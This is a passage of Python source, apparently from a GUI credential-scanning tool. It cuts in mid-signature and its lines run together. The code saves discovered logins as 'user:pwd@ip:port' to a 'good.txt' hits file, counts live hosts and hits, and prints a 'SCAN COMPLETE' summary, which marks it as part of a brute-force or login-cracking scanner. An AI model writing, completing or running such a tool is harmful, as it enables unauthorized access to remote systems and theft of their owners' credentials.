int, user: str, pwd: str): good_path = os.path.join(RESULTS_DIR, "good.txt") with open(good_path, 'a') as f: f.write(f"{user}:{pwd}@{ip}:{port}\n") def _scan_done(self): self.scanning = False self.stats.phase = "done" self.root.after(0, lambda: self.start_btn.config(state="normal")) self.root.after(0, lambda: self.stop_btn.config(state="disabled")) self._log("\u25a0 SCAN COMPLETE", "scan") print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE")) print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}")) print(_c("\033[96m", " \u2500" * 55)) def _on_close(self): self.scanning = False self.root.destroy() def run(self): self.root.mainloop()